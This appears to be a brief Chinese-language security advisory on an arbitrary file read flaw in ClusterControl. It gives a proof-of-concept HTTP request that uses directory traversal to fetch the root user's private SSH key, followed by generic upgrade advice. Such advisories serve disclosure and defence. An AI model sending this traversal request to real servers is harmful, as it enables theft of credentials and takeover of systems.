ClusterControl存在任意文件读取

问题描述

ClusterControl 作为一款数据库集群管理与监控工具，近日被发现存在任意文件读取。该问题使攻击者能够访问服务器上的任意文件，存在数据泄露的风险。

影响版本

该问题影响 ClusterControl 的多个版本，具体版本号需参考官方公告或安全报告。

poc

GET /../../../../../../../../..//root/.ssh/id_rsa HTTP/1.1
Host: 
Accept-Encoding: identity
User-Agent: python-urllib3/1.26.4

修复建议

及时更新到最新版本，官方通常会在发现问题后发布修复补丁。确保系统运行的是最新版本，以避免受到该问题的影响。